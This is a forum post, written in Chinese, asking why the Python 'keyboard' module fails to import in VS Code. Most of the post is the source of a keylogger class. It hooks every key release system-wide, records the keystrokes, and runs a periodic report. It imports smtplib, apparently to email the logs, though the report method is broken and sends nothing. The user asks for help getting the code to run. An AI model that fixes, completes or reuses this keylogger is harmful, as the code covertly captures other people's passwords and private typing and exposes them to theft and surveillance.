我不知道为什么我的“键盘”无法导入VS Code。我在CMD中安装了“ pip3安装键盘”,并且已正确安装。然后,我用VS代码打开了一个新项目,编写了此代码并修复了所有错误之后,现在它告诉我键盘导入失败。这是代码
import keyboard #does the keylogs
import smtplib
from threading import Semaphore, Timer
SEND_REPORT_EVERY = 5
class Keylogger:
def __init__(self, interval):
self.interval = interval
self.log = ""
self.semaphore = Semaphore(0)
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[Enter]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def report(self):
if self.log:
self = open("E:\\downloads\\onjab.txt")
self.log
Timer(interval=self.interval, function=self.report).start()
def start(self):
keyboard.on_release(callback=self.callback)
self.report()
self.semaphore.acquire()
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY)
keylogger.start()
谁能帮我解决导入错误?我必须添加另一行以确保依赖关系存在吗?